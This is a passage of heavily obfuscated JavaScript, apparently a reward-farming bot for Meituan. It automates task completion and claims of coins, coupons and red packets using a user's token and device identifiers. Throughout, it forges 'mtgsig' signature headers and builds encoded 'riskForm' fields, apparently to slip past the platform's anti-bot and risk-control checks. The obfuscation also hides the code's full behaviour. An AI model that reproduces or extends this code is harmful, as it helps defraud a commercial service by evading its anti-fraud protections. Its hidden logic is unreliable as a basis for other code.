_0x304747=_0x58edc2?.[_0x109270(0xc63)]||_0x58edc2?.[_0x109270(0x1d0e)]||'';this['\x6c\x6f\x67'](_0x109270(0x193)+'\u8868\u5931\u8d25\x3a\x20'+_0x304747);}}catch(_0x2ecd93){console[_0x109270(0x3e5)](_0x2ecd93);}}async['\x73\x74\x61\x72\x74'+_0xcdce93(0x43c)+_0xcdce93(0xecf)](_0x471f36,_0x169d8c,_0x31b6e3,_0x4fef12={}){const _0x4ea81c=_0xcdce93,_0x1650ea={};_0x1650ea[_0x4ea81c(0x1d52)]='\x68\x74\x74\x70\x73'+_0x4ea81c(0x2779)+'\x62\x65\x2e\x6d\x65'+_0x4ea81c(0x187f)+_0x4ea81c(0x700)+'\x74\x6f\x70\x63\x75'+_0x4ea81c(0x347)+_0x4ea81c(0x29f6)+'\x2f\x74\x61\x73\x6b'+_0x4ea81c(0x515)+_0x4ea81c(0x102c)+'\x54\x61\x73\x6b',_0x1650ea[_0x4ea81c(0x28cf)]=_0x4ea81c(0x1ad3)+'\x55\x41\x4e',_0x1650ea['\x68\x46\x52\x42\x67']=_0x4ea81c(0x2bd0)+_0x4ea81c(0x43c)+'\x61\x73\x6b',_0x1650ea[_0x4ea81c(0x1322)]=_0x4ea81c(0x2272),_0x1650ea[_0x4ea81c(0x20fa)]=function(_0x507e21,_0x58a2c9){return _0x507e21==_0x58a2c9;},_0x1650ea[_0x4ea81c(0xf2c)]=_0x4ea81c(0x7bb);const _0x1a0b2c=_0x1650ea;try{let _0x927f5c=_0x4fef12?.['\x6e\x65\x65\x64\x5f'+'\x73\x69\x67\x6e'],_0x5a8e18=_0x1a0b2c[_0x4ea81c(0x1d52)],_0x16cb09={'\x75\x75\x69\x64':this[_0x4ea81c(0x1c06)],'\x75\x73\x65\x72\x49\x64':this[_0x4ea81c(0x310a)+'\x64'],'\x63\x69\x74\x79\x49\x64':0x1e,'\x72\x69\x73\x6b\x46\x6f\x72\x6d':await this[_0x4ea81c(0x6a3)+_0x4ea81c(0x392)+_0x4ea81c(0x20c4)](_0x927f5c),'\x74\x61\x73\x6b\x49\x64\x4b\x65\x79':_0x169d8c[_0x4ea81c(0x16d9)+_0x4ea81c(0x2d21)],'\x74\x61\x73\x6b\x52\x75\x6c\x65\x49\x64\x4b\x65\x79':_0x31b6e3['\x74\x61\x73\x6b\x52'+_0x4ea81c(0xab1)+_0x4ea81c(0x2383)],'\x63\x75\x62\x65\x50\x61\x67\x65\x49\x64':_0x471f36[_0x4ea81c(0x1576)+_0x4ea81c(0x1239)],'\x75\x73\x65\x72\x54\x79\x70\x65':_0x1a0b2c[_0x4ea81c(0x28cf)],'\x73\x6f\x75\x72\x63\x65\x54\x79\x70\x65':_0x1a0b2c[_0x4ea81c(0x28cf)],'\x6d\x69\x6e\x69\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x74\x6f\x6b\x65\x6e':this[_0x4ea81c(0x2b88)]};const _0x3caa13={};_0x3caa13['\x66\x6e']=_0x1a0b2c[_0x4ea81c(0x2453)],_0x3caa13[_0x4ea81c(0x12a3)+'\x64']=_0x1a0b2c[_0x4ea81c(0x1322)],_0x3caa13[_0x4ea81c(0x9ed)]=_0x5a8e18,_0x3caa13['\x6a\x73\x6f\x6e']=_0x16cb09;let _0x347208=_0x3caa13;if(_0x927f5c){let {headers:_0x16416b}=this[_0x4ea81c(0x2749)+'\x74\x67\x73\x69\x67'](_0x5a8e18,_0x16cb09);const _0x43474c={};_0x43474c['\x6d\x74\x67\x73\x69'+'\x67']=_0x16416b['\x6d\x74\x67\x73\x69'+'\x67'],_0x347208[_0x4ea81c(0x1260)+'\x72\x73']=_0x43474c;}let {result:_0x1d5e7c}=await this[_0x4ea81c(0x734)+'\x73\x74'](_0x347208);if(_0x1a0b2c[_0x4ea81c(0x20fa)](_0x1d5e7c?.[_0x4ea81c(0x1e07)],-0x25a9+0x1f*0x1d+0x2226)){let _0x538d44=JSON['\x70\x61\x72\x73\x65'](_0x31b6e3[_0x4ea81c(0xccc)+'\x6f\x6e\x66\x69\x67']);if(_0x538d44['\x73\x74\x61\x79\x53'+_0x4ea81c(0x10f3)+'\x73']){let _0x54ce5f=_0x538d44[_0x4ea81c(0x2310)+_0x4ea81c(0x10f3)+'\x73']*(-0x1312+-0x7*0xc4+0x1c56);this['\x6c\x6f\x67']('\u7b49\u5f85'+_0x538d44[_0x4ea81c(0x2310)+_0x4ea81c(0x10f3)+'\x73']+(_0x4ea81c(0x239b)+_0x4ea81c(0x318b))),await _0x18d7a9['\x77\x61\x69\x74'](_0x54ce5f);}else this[_0x4ea81c(0x3e5)]('\u5b8c\u6210\u4efb\u52a1\x5b'+_0x169d8c[_0x4ea81c(0x90d)]+_0x4ea81c(0xf0e));const _0x1be2fa={};_0x1be2fa['\x6e\x65\x65\x64\x5f'+_0x4ea81c(0x2f74)]=_0x927f5c,await this[_0x4ea81c(0x977)+_0x4ea81c(0x1ef8)+_0x4ea81c(0x13df)](_0x471f36,_0x169d8c,_0x31b6e3,_0x1d5e7c,_0x1be2fa);}else{let _0x23295d=_0x1d5e7c?.[_0x4ea81c(0xc63)]||_0x1d5e7c?.['\x64\x65\x73\x63']||'';this['\x6c\x6f\x67'](_0x4ea81c(0x32c5)+_0x169d8c[_0x4ea81c(0x90d)]+_0x4ea81c(0x1ed0)+_0x23295d);if(_0x23295d?.['\x69\x6e\x63\x6c\x75'+_0x4ea81c(0xf9b)](_0x1a0b2c[_0x4ea81c(0xf2c)])){const _0x5e80db={};_0x5e80db['\x6e\x65\x65\x64\x5f'+_0x4ea81c(0x2f74)]=_0x927f5c,await this[_0x4ea81c(0x977)+'\x65\x55\x73\x65\x72'+_0x4ea81c(0x13df)](_0x471f36,_0x169d8c,_0x31b6e3,{},_0x5e80db);}}}catch(_0x3726bd){console[_0x4ea81c(0x3e5)](_0x3726bd);}}async[_0xcdce93(0xdb)+_0xcdce93(0x580)+_0xcdce93(0x6d6)+'\x69\x7a\x65'](_0x1da043){const _0x3543e1=_0xcdce93,_0x4c6c29={};_0x4c6c29[_0x3543e1(0x12da)]=_0x3543e1(0x2ffa);const _0x1613e0=_0x4c6c29;let _0x10b746=[];for(let _0x5eb478 of _0x1da043){if(_0x5eb478[_0x3543e1(0xdd6)+'\x72'])_0x10b746[_0x3543e1(0x1ca9)](_0x5eb478[_0x3543e1(0xdd6)+'\x72']+'\u91d1\u5e01');else{if(_0x5eb478?.[_0x3543e1(0x150b)+_0x3543e1(0x2a59)+_0x3543e1(0x1808)+_0x3543e1(0x1281)]?.[_0x3543e1(0x3401)+_0x3543e1(0x2ce3)]?.[_0x3543e1(0x326b)+'\x68'])for(let _0x2d41e5 of _0x5eb478[_0x3543e1(0x150b)+_0x3543e1(0x2a59)+_0x3543e1(0x1808)+_0x3543e1(0x1281)][_0x3543e1(0x3401)+_0x3543e1(0x2ce3)]){_0x10b746[_0x3543e1(0x1ca9)]('\x5b'+(_0x158290[_0x2d41e5[_0x3543e1(0x88a)]]||_0x2d41e5[_0x3543e1(0x88a)])+'\x5d\x78'+_0x2d41e5[_0x3543e1(0x2ee9)+'\x74']);}else{if(_0x5eb478?.['\x73\x65\x6e\x64\x4d'+_0x3543e1(0x2030)+'\x74\x6f\x6e\x65\x52'+_0x3543e1(0xf1f)]?.[_0x3543e1(0x1d85)+_0x3543e1(0x866)]?.['\x6c\x65\x6e\x67\x74'+'\x68'])for(let _0x300f28 of _0x5eb478['\x73\x65\x6e\x64\x4d'+_0x3543e1(0x2030)+'\x74\x6f\x6e\x65\x52'+_0x3543e1(0xf1f)]['\x73\x74\x6f\x6e\x65'+_0x3543e1(0x866)]){_0x10b746['\x70\x75\x73\x68']('\x5b'+(_0x45b8e4[_0x300f28['\x6d\x61\x67\x69\x63'+_0x3543e1(0x20cb)+_0x3543e1(0x2350)+_0x3543e1(0x727)]]||_0x300f28[_0x3543e1(0x161e)+'\x53\x74\x6f\x6e\x65'+'\x50\x72\x69\x7a\x65'+_0x3543e1(0x727)])+'\x5d\x78'+_0x300f28[_0x3543e1(0x2ee9)+'\x74']);}else{if(_0x5eb478?.[_0x3543e1(0xc06)+_0x3543e1(0x30cd)+_0x3543e1(0x2878)+'\x74\x4c\x69\x73\x74']?.[_0x3543e1(0x326b)+'\x68'])for(let _0x4f1c52 of _0x5eb478['\x73\x65\x6e\x64\x43'+_0x3543e1(0x30cd)+_0x3543e1(0x2878)+_0x3543e1(0x1b61)]){_0x10b746[_0x3543e1(0x1ca9)]((_0x4f1c52[_0x3543e1(0x96f)+_0x3543e1(0x2e7b)+'\x6f\x6e']||_0x1613e0[_0x3543e1(0x12da)])+'\u51cf'+_0x4f1c52['\x63\x6f\x75\x70\x6f'+_0x3543e1(0x24d)+'\x65']+_0x4f1c52[_0x3543e1(0x14a2)+'\x6e\x54\x79\x70\x65'+_0x3543e1(0x3101)]+'\u5238');}}}}}return _0x10b746;}async[_0xcdce93(0x977)+'\x65\x55\x73\x65\x72'+_0xcdce93(0x13df)](_0x1060eb,_0xdcfa91,_0x5a2fda,_0x40828d={},_0x3a1b78={}){const _0x541d61=_0xcdce93,_0x1e1316={};_0x1e1316[_0x541d61(0x426)]=_0x541d61(0x1ad3)+_0x541d61(0x2319),_0x1e1316[_0x541d61(0x1820)]=_0x541d61(0x977)+_0x541d61(0x1ef8)+_0x541d61(0x13df),_0x1e1316[_0x541d61(0x11e6)]='\x70\x6f\x73\x74',_0x1e1316[_0x541d61(0xebf)]=function(_0x1cade1,_0x2f0636){return _0x1cade1==_0x2f0636;};const _0x36ea1d=_0x1e1316;try{let _0x2aae5d=_0x3a1b78?.[_0x541d61(0x2171)+_0x541d61(0x2f74)],{actionNo:actionNo='',taskNo:taskNo='',taskRuleNo:taskRuleNo=''}=_0x40828d;taskNo=taskNo||_0xdcfa91?.['\x74\x61\x73\x6b\x4e'+'\x6f']||'',taskRuleNo=taskRuleNo||_0x5a2fda?.['\x74\x61\x73\x6b\x52'+'\x75\x6c\x65\x4e\x6f']||'';let _0x79e25c=_0x541d61(0x3558)+_0x541d61(0x2779)+'\x62\x65\x2e\x6d\x65'+_0x541d61(0x187f)+_0x541d61(0x700)+'\x74\x6f\x70\x63\x75'+_0x541d61(0x347)+_0x541d61(0x29f6)+_0x541d61(0x2061)+_0x541d61(0x1b53)+_0x541d61(0x274a)+_0x541d61(0x184c),_0x10e6d4={'\x75\x75\x69\x64':this[_0x541d61(0x1c06)],'\x75\x73\x65\x72\x49\x64':this[_0x541d61(0x310a)+'\x64'],'\x63\x69\x74\x79\x49\x64':0x1e,'\x74\x61\x73\x6b\x4e\x6f':taskNo,'\x61\x63\x74\x69\x6f\x6e\x4e\x6f':actionNo,'\x72\x69\x73\x6b\x46\x6f\x72\x6d':await this['\x65\x6e\x63\x6f\x64'+_0x541d61(0x392)+_0x541d61(0x20c4)](_0x2aae5d),'\x74\x61\x73\x6b\x49\x64\x4b\x65\x79':_0xdcfa91[_0x541d61(0x16d9)+_0x541d61(0x2d21)],'\x74\x61\x73\x6b\x52\x75\x6c\x65\x4e\x6f':taskRuleNo,'\x74\x61\x73\x6b\x52\x75\x6c\x65\x49\x64\x4b\x65\x79':_0x5a2fda[_0x541d61(0x17d3)+_0x541d61(0xab1)+'\x4b\x65\x79'],'\x63\x75\x62\x65\x50\x61\x67\x65\x49\x64':_0x1060eb['\x63\x75\x62\x65\x50'+_0x541d61(0x1239)],'\x75\x73\x65\x72\x54\x79\x70\x65':_0x36ea1d[_0x541d61(0x426)],'\x73\x6f\x75\x72\x63\x65\x54\x79\x70\x65':_0x36ea1d[_0x541d61(0x426)],'\x6d\x69\x6e\x69\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x74\x6f\x6b\x65\x6e':this['\x74\x6f\x6b\x65\x6e']};const _0x32061e={};_0x32061e['\x66\x6e']=_0x36ea1d[_0x541d61(0x1820)],_0x32061e[_0x541d61(0x12a3)+'\x64']=_0x36ea1d['\x61\x42\x6f\x50\x50'],_0x32061e[_0x541d61(0x9ed)]=_0x79e25c,_0x32061e['\x6a\x73\x6f\x6e']=_0x10e6d4;let _0x28dcb7=_0x32061e;if(_0x2aae5d){let {headers:_0x69e586}=this[_0x541d61(0x2749)+_0x541d61(0xdf8)](_0x79e25c,_0x10e6d4);const _0x183be9={};_0x183be9[_0x541d61(0x1787)+'\x67']=_0x69e586['\x6d\x74\x67\x73\x69'+'\x67'],_0x28dcb7[_0x541d61(0x1260)+'\x72\x73']=_0x183be9;}let {result:_0x2c20f5}=await this['\x72\x65\x71\x75\x65'+'\x73\x74'](_0x28dcb7);if(_0x36ea1d['\x6a\x58\x63\x78\x63'](_0x2c20f5?.[_0x541d61(0x1e07)],0x2175+-0x606*0x2+-0x1b*0xcb)){if(_0x2c20f5?.['\x70\x72\x69\x7a\x65'+_0x541d61(0x866)]?.[_0x541d61(0x326b)+'\x68']){let _0x2bc165=await this[_0x541d61(0xdb)+_0x541d61(0x580)+_0x541d61(0x6d6)+'\x69\x7a\x65'](_0x2c20f5[_0x541d61(0x2737)+_0x541d61(0x866)]);this[_0x541d61(0x3e5)](_0x541d61(0x2702)+_0xdcfa91[_0x541d61(0x90d)]+(_0x541d61(0xc43)+'\x3a\x20')+_0x2bc165[_0x541d61(0x3533)]('\x2c'));}else{this[_0x541d61(0x3e5)](_0x541d61(0x3210)+_0xdcfa91[_0x541d61(0x90d)]+_0x541d61(0x264f));const _0x3e2261={};_0x3e2261['\x6e\x65\x65\x64\x5f'+_0x541d61(0x2f74)]=_0x2aae5d,await this['\x73\x65\x6e\x64\x54'+_0x541d61(0xd1)+'\x69\x7a\x65'](_0x1060eb,_0xdcfa91,_0x5a2fda,_0x40828d,_0x3e2261);}}else{let _0x5bf66c=_0x2c20f5?.[_0x541d61(0xc63)]||_0x2c20f5?.['\x64\x65\x73\x63']||'';this[_0x541d61(0x3e5)](_0x541d61(0x3210)+_0xdcfa91[_0x541d61(0x90d)]+(_0x541d61(0x1564)+'\x3a\x20')+_0x5bf66c);}}catch(_0x5d6bcf){console[_0x541d61(0x3e5)](_0x5d6bcf);}}async[_0xcdce93(0x7a4)+_0xcdce93(0xd1)+_0xcdce93(0x24d5)](_0x48415d,_0x22dde1,_0x53f248,_0x4947cc={},_0x52bb4d={}){const _0xa35c2e=_0xcdce93,_0x504ac8={};_0x504ac8[_0xa35c2e(0x14d9)]=_0xa35c2e(0x3558)+'\x3a\x2f\x2f\x63\x75'+_0xa35c2e(0x2cf1)+_0xa35c2e(0x187f)+_0xa35c2e(0x700)+_0xa35c2e(0x320c)+_0xa35c2e(0x347)+_0xa35c2e(0x29f6)+_0xa35c2e(0x2061)+_0xa35c2e(0x1c26)+_0xa35c2e(0x23c5)+_0xa35c2e(0x2f2),_0x504ac8[_0xa35c2e(0x741)]=_0xa35c2e(0x1ad3)+_0xa35c2e(0x2319),_0x504ac8['\x57\x79\x66\x64\x53']=_0xa35c2e(0x7a4)+_0xa35c2e(0xd1)+_0xa35c2e(0x24d5),_0x504ac8[_0xa35c2e(0x352e)]='\x70\x6f\x73\x74',_0x504ac8[_0xa35c2e(0xa90)]=function(_0x20ae76,_0x2b4282){return _0x20ae76==_0x2b4282;};const _0x399d81=_0x504ac8;try{let _0x3f183c=_0x52bb4d?.['\x6e\x65\x65\x64\x5f'+_0xa35c2e(0x2f74)],{actionNo:actionNo='',taskNo:taskNo='',taskRuleNo:taskRuleNo=''}=_0x4947cc;taskNo=taskNo||_0x22dde1?.['\x74\x61\x73\x6b\x4e'+'\x6f']||'',taskRuleNo=taskRuleNo||_0x53f248?.[_0xa35c2e(0x17d3)+_0xa35c2e(0x356e)]||'';let _0x42abf9=_0x399d81[_0xa35c2e(0x14d9)],_0x2e0d37={'\x75\x75\x69\x64':this[_0xa35c2e(0x1c06)],'\x75\x73\x65\x72\x49\x64':this['\x75\x73\x65\x72\x49'+'\x64'],'\x63\x69\x74\x79\x49\x64':0x1e,'\x74\x61\x73\x6b\x4e\x6f':taskNo,'\x61\x63\x74\x69\x6f\x6e\x4e\x6f':actionNo,'\x72\x69\x73\x6b\x46\x6f\x72\x6d':await this[_0xa35c2e(0x6a3)+_0xa35c2e(0x392)+_0xa35c2e(0x20c4)](_0x3f183c),'\x74\x61\x73\x6b\x49\x64\x4b\x65\x79':_0x22dde1['\x74\x61\x73\x6b\x49'+_0xa35c2e(0x2d21)],'\x74\x61\x73\x6b\x52\x75\x6c\x65\x4e\x6f':taskRuleNo,'\x74\x61\x73\x6b\x52\x75\x6c\x65\x49\x64\x4b\x65\x79':_0x53f248[_0xa35c2e(0x17d3)+_0xa35c2e(0xab1)+_0xa35c2e(0x2383)],'\x63\x75\x62\x65\x50\x61\x67\x65\x49\x64':_0x48415d[_0xa35c2e(0x1576)+'\x61\x67\x65\x49\x64'],'\x75\x73\x65\x72\x54\x79\x70\x65':'\x4d\x45\x49\x5f\x54'+_0xa35c2e(0x2319),'\x73\x6f\x75\x72\x63\x65\x54\x79\x70\x65':_0x399d81['\x57\x66\x6f\x75\x4c'],'\x6d\x69\x6e\x69\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x74\x6f\x6b\x65\x6e':this['\x74\x6f\x6b\x65\x6e']};const _0x395371={};_0x395371['\x66\x6e']=_0x399d81[_0xa35c2e(0x2377)],_0x395371[_0xa35c2e(0x12a3)+'\x64']=_0x399d81[_0xa35c2e(0x352e)],_0x395371[_0xa35c2e(0x9ed)]=_0x42abf9,_0x395371[_0xa35c2e(0xd59)]=_0x2e0d37;let _0x2bf628=_0x395371;if(_0x3f183c){let {headers:_0x40f6fa}=this[_0xa35c2e(0x2749)+_0xa35c2e(0xdf8)](_0x42abf9,_0x2e0d37);const _0x1619bf={};_0x1619bf[_0xa35c2e(0x1787)+'\x67']=_0x40f6fa[_0xa35c2e(0x1787)+'\x67'],_0x2bf628[_0xa35c2e(0x1260)+'\x72\x73']=_0x1619bf;}let {result:_0x4f1574}=await this[_0xa35c2e(0x734)+'\x73\x74'](_0x2bf628);if(_0x399d81[_0xa35c2e(0xa90)](_0x4f1574?.[_0xa35c2e(0x1e07)],-0x1164+-0x22d4+0x3438)){if(_0x4f1574?.[_0xa35c2e(0x2737)+_0xa35c2e(0x866)]?.['\x6c\x65\x6e\x67\x74'+'\x68']){let _0x4d000a=await this[_0xa35c2e(0xdb)+_0xa35c2e(0x580)+_0xa35c2e(0x6d6)+_0xa35c2e(0x24d5)](_0x4f1574[_0xa35c2e(0x2737)+_0xa35c2e(0x866)]);this['\x6c\x6f\x67'](_0xa35c2e(0x2702)+_0x22dde1[_0xa35c2e(0x90d)]+(_0xa35c2e(0xc43)+'\x3a\x20')+_0x4d000a[_0xa35c2e(0x3533)]('\x2c'));}else this['\x6c\x6f\x67'](_0xa35c2e(0x34d6)+'\u4efb\u52a1\x5b'+_0x22dde1[_0xa35c2e(0x90d)]+'\x5d\u5956\u52b1');}else{let _0x294225=_0x4f1574?.[_0xa35c2e(0xc63)]||_0x4f1574?.['\x64\x65\x73\x63']||'';this[_0xa35c2e(0x3e5)](_0xa35c2e(0x2702)+_0x22dde1[_0xa35c2e(0x90d)]+(_0xa35c2e(0x28e5)+'\x3a\x20')+_0x294225);}}catch(_0x2f13ec){console['\x6c\x6f\x67'](_0x2f13ec);}}async[_0xcdce93(0x2baa)+'\x6f\x6d\x65\x50\x61'+'\x67\x65'](_0x4f1e45,_0x30d732={}){const _0x8fd6b7=_0xcdce93,_0x580290={};_0x580290[_0x8fd6b7(0x20f)]='\x4d\x45\x49\x5f\x54'+_0x8fd6b7(0x2319),_0x580290[_0x8fd6b7(0x28f0)]='\x70\x6f\x73\x74';const _0x4e3af5=_0x580290;try{let _0x3884de=_0x8fd6b7(0x3558)+_0x8fd6b7(0x2779)+_0x8fd6b7(0x2cf1)+_0x8fd6b7(0x187f)+_0x8fd6b7(0x700)+_0x8fd6b7(0x320c)+'\x62\x65\x2f\x61\x70'+_0x8fd6b7(0x29f6)+'\x2f\x67\x6f\x6c\x64'+_0x8fd6b7(0x4b1)+_0x8fd6b7(0x14ba);const _0x55dfe1={};_0x55dfe1[_0x8fd6b7(0x26c5)+'\x69\x74\x79\x53\x65'+_0x8fd6b7(0xe54)+'\x65\x79']=_0x4f1e45,_0x55dfe1[_0x8fd6b7(0x1fc6)+_0x8fd6b7(0x2b33)]=_0x4e3af5[_0x8fd6b7(0x20f)],_0x55dfe1[_0x8fd6b7(0x310a)+'\x64']=this[_0x8fd6b7(0x310a)+'\x64'],_0x55dfe1[_0x8fd6b7(0x326)+_0x8fd6b7(0x1b2f)+_0x8fd6b7(0x2b36)+'\x6b\x65\x6e']=this[_0x8fd6b7(0x2b88)],_0x55dfe1[_0x8fd6b7(0x1c06)]=this['\x75\x75\x69\x64'];let _0x34a507=_0x55dfe1;const _0xc1cb3c={};_0xc1cb3c['\x66\x6e']=_0x8fd6b7(0x2baa)+_0x8fd6b7(0x12e7)+'\x67\x65',_0xc1cb3c[_0x8fd6b7(0x12a3)+'\x64']=_0x4e3af5[_0x8fd6b7(0x28f0)],_0xc1cb3c[_0x8fd6b7(0x9ed)]=_0x3884de,_0xc1cb3c['\x6a\x73\x6f\x6e']=_0x34a507;let _0x3beee6=_0xc1cb3c,{result:_0x2a92fa}=await this['\x72\x65\x71\x75\x65'+'\x73\x74'](_0x3beee6);if(_0x2a92fa?.[_0x8fd6b7(0x1e07)]==-0xa6*-0xe+-0x5*0x78d+0x1cad)for(let _0x13ae76 of _0x2a92fa?.[_0x8fd6b7(0x1277)]?.[_0x8fd6b7(0xceb)+_0x8fd6b7(0x1024)]?.[_0x8fd6b7(0x3c3)+'\x72'](_0x29e3a7=>_0x29e3a7['\x73\x74\x61\x74\x75'+'\x73']==_0x8fd6b7(0xab)+_0x8fd6b7(0x25a3)+_0x8fd6b7(0x2ef))){await this[_0x8fd6b7(0x32bc)+_0x8fd6b7(0xc40)+_0x8fd6b7(0x2a38)+'\x74'](_0x4f1e45,_0x13ae76);}else{let _0x11912d=_0x2a92fa?.[_0x8fd6b7(0xc63)]||_0x2a92fa?.[_0x8fd6b7(0x1d0e)]||'';this['\x6c\x6f\x67']('\u67e5\u8be2\u5f00\u7ea2\u5305'+_0x8fd6b7(0x598)+'\x20'+_0x11912d);}}catch(_0x22fd17){console[_0x8fd6b7(0x3e5)](_0x22fd17);}}async[_0xcdce93(0x32bc)+_0xcdce93(0xc40)+'\x50\x61\x63\x6b\x65'+'\x74'](_0x541fe9,_0x2f316b,_0x467526={}){const _0x5439b5=_0xcdce93,_0x206213={};_0x206213[_0x5439b5(0x2e56)]='\x68\x74\x74\x70\x73'+_0x5439b5(0x2779)+_0x5439b5(0x2cf1)+'\x69\x74\x75\x61\x6e'+_0x5439b5(0x700)+_0x5439b5(0x320c)+'\x62\x65\x2f\x61\x70'+_0x5439b5(0x29f6)+'\x2f\x67\x6f\x6c\x64'+_0x5439b5(0x195d)+_0x5439b5(0x3554)+_0x5439b5(0x2dd2)+'\x65\x74',_0x206213[_0x5439b5(0x2425)]='\x4d\x45\x49\x5f\x54'+'\x55\x41\x4e',_0x206213[_0x5439b5(0x1a92)]='\x70\x6f\x73\x74',_0x206213[_0x5439b5(0xbbc)]=function(_0x3dd7c0,_0x1168d5){return _0x3dd7c0==_0x1168d5;};const _0x4d3028=_0x206213;try{let _0x7b170a=_0x4d3028['\x4e\x57\x59\x66\x7a'],_0x425bb8={'\x61\x63\x74\x69\x76\x69\x74\x79\x53\x65\x63\x72\x65\x74\x4b\x65\x79':_0x541fe9,'\x69\x64':_0x2f316b['\x69\x64'],'\x73\x6f\x75\x72\x63\x65\x54\x79\x70\x65':_0x4d3028[_0x5439b5(0x2425)],'\x75\x73\x65\x72\x49\x64':this[_0x5439b5(0x310a)+'\x64'],'\x6d\x69\x6e\x69\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x74\x6f\x6b\x65\x6e':this[_0x5439b5(0x2b88)],'\x75\x75\x69\x64':this['\x75\x75\x69\x64'],'\x72\x69\x73\x6b\x46\x6f\x72\x6d':await this[_0x5439b5(0x6a3)+_0x5439b5(0x392)+_0x5439b5(0x20c4)]()},{headers:_0x43fd7d}=this[_0x5439b5(0x2749)+_0x5439b5(0xdf8)](_0x7b170a,_0x425bb8);const _0x5a5169={};_0x5a5169['\x6d\x74\x67\x73\x69'+'\x67']=_0x43fd7d[_0x5439b5(0x1787)+'\x67'];const _0x2023fb={};_0x2023fb['\x66\x6e']='\x72\x65\x63\x65\x69'+_0x5439b5(0xc40)+_0x5439b5(0x2a38)+'\x74',_0x2023fb['\x6d\x65\x74\x68\x6f'+'\x64']=_0x4d3028[_0x5439b5(0x1a92)],_0x2023fb[_0x5439b5(0x9ed)]=_0x7b170a,_0x2023fb[_0x5439b5(0xd59)]=_0x425bb8,_0x2023fb[_0x5439b5(0x1260)+'\x72\x73']=_0x5a5169;let _0x90308f=_0x2023fb,{result:_0x30d9b4}=await this[_0x5439b5(0x734)+'\x73\x74'](_0x90308f);if(_0x4d3028['\x59\x6f\x7a\x50\x71'](_0x30d9b4?.[_0x5439b5(0x1e07)],-0x268a+0x119c+0x14ee))this[_0x5439b5(0x3e5)](_0x5439b5(0x3297)+_0x2f316b[_0x5439b5(0x2ee9)+'\x74']+'\u91d1\u5e01');else{let _0x4e7c26=_0x30d9b4?.[_0x5439b5(0xc63)]||_0x30d9b4?.['\x64\x65\x73\x63']||'';this[_0x5439b5(0x3e5)](_0x5439b5(0xe9d)+_0x2f316b['\x69\x64']+_0x5439b5(0x1ed0)+_0x4e7c26);}}catch(_0x559b57){console['\x6c\x6f\x67'](_0x559b57);}}async['\x65\x61\x72\x6e\x44'+_0xcdce93(0x10e5)+_0xcdce93(0x1469)](_0x47b625={}){const _0x1a2f81=_0xcdce93,_0x4b1534={};_0x4b1534['\x4d\x6f\x70\x6a\x59']='\x67\x65\x74',_0x4b1534[_0x1a2f81(0x149e)]=_0x1a2f81(0x1e07),_0x4b1534[_0x1a2f81(0x1521)]=function(_0x3994ee,_0xe1a738){return _0x3994ee==_0xe1a738;};const _0x4cda9c=_0x4b1534;try{let _0x4d3ece=_0x47b625[_0x1a2f81(0xd81)+_0x1a2f81(0x735)]||-0x2a5+-0x64*-0x6c+0x117;const _0x306400={};_0x306400[_0x1a2f81(0xc4c)+'\x64']='\x33\x30';let _0x53b57c={'\x66\x6e':_0x1a2f81(0xcf9)+_0x1a2f81(0x10e5)+_0x1a2f81(0x1469),'\x6d\x65\x74\x68\x6f\x64':_0x4cda9c[_0x1a2f81(0x3229)],'\x75\x72\x6c':_0x1a2f81(0x3558)+'\x3a\x2f\x2f\x67\x61'+_0x1a2f81(0x2a44)+'\x69\x74\x75\x61\x6e'+_0x1a2f81(0x700)+_0x1a2f81(0x6e1)+_0x1a2f81(0x2e31)+'\x2f\x6c\x6f\x67\x69'+'\x6e\x2f\x6c\x6f\x67'+'\x69\x6e\x4d\x67\x63','\x73\x65\x61\x72\x63\x68\x50\x61\x72\x61\x6d\x73':{'\x67\x61\x6d\x65\x54\x79\x70\x65':_0x4d3ece,'\x6d\x74\x54\x6f\x6b\x65\x6e':this['\x74\x6f\x6b\x65\x6e'],'\x6d\x74\x55\x73\x65\x72\x49\x64':this[_0x1a2f81(0x310a)+'\x64'],'\x6d\x74\x44\x65\x76\x69\x63\x65\x49\x64':this[_0x1a2f81(0x1c06)],'\x6e\x6f\x6e\x63\x65\x53\x74\x72':_0x18d7a9[_0x1a2f81(0x2c43)+_0x1a2f81(0x171f)+'\x6e\x67'](-0x691+-0x250b+0x4*0xaeb),'\x65\x78\x74\x65\x72\x6e\x61\x6c\x53\x74\x72':JSON[_0x1a2f81(0x15b2)+_0x1a2f81(0x1209)](_0x306400)}},{result:_0x788832}=await this[_0x1a2f81(0x734)+'\x73\x74'](_0x53b57c),_0x17bb53=_0x18d7a9[_0x1a2f81(0x33ab)](_0x788832,_0x4cda9c[_0x1a2f81(0x149e)],-(0x1eb*-0xb+0x37*0x6f+-0x25*0x13));if(_0x4cda9c[_0x1a2f81(0x1521)](_0x17bb53,-0x3a*0x2b+-0x7*-0x1d+0x1*0x8f3))this[_0x1a2f81(0x14a0)+'\x65\x6e']=_0x788832?.[_0x1a2f81(0x24b5)+_0x1a2f81(0xff2)]?.['\x61\x63\x63\x65\x73'+_0x1a2f81(0xb07)+'\x6e'];else{let _0x338056=_0x788832?.[_0x1a2f81(0xc63)]||_0x788832?.[_0x1a2f81(0x1d0e)]||'';this['\x6c\x6f\x67'](_0x1a2f81(0x3503)+_0x4d3ece+_0x1a2f81(0x1935)+_0x17bb53+_0x1a2f81(0x985)+_0x338056);}}catch(_0x43f02b){console[_0x1a2f81(0x3e5)](_0x43f02b);}}async['\x65\x61\x72\x6e\x44'+_0xcdce93(0x864)+_0xcdce93(0xa61)](_0x175a81={}){const _0x221cf7=_0xcdce93,_0x499787={};_0x499787[_0x221cf7(0x2a51)]='\x65\x61\x72\x6e\x44'+_0x221cf7(0x864)+_0x221cf7(0xa61),_0x499787[_0x221cf7(0x258a)]=_0x221cf7(0x2272),_0x499787[_0x221cf7(0xaae)]='\x68\x74\x74\x70\x73'+_0x221cf7(0x8fe)+'\x70\x2e\x6d\x65\x69'+_0x221cf7(0x28dc)+_0x221cf7(0x1858),_0x499787[_0x221cf7(0x72f)]='\x68\x74\x74\x70\x73'+'\x3a\x2f\x2f\x61\x77'+_0x221cf7(0x75f)+'\x74\x75\x61\x6e\x2e'+'\x63\x6f\x6d\x2f',_0x499787[_0x221cf7(0x285e)]=_0x221cf7(0x8b1);const _0x2911b0=_0x499787;let _0x6b2d11={};try{let 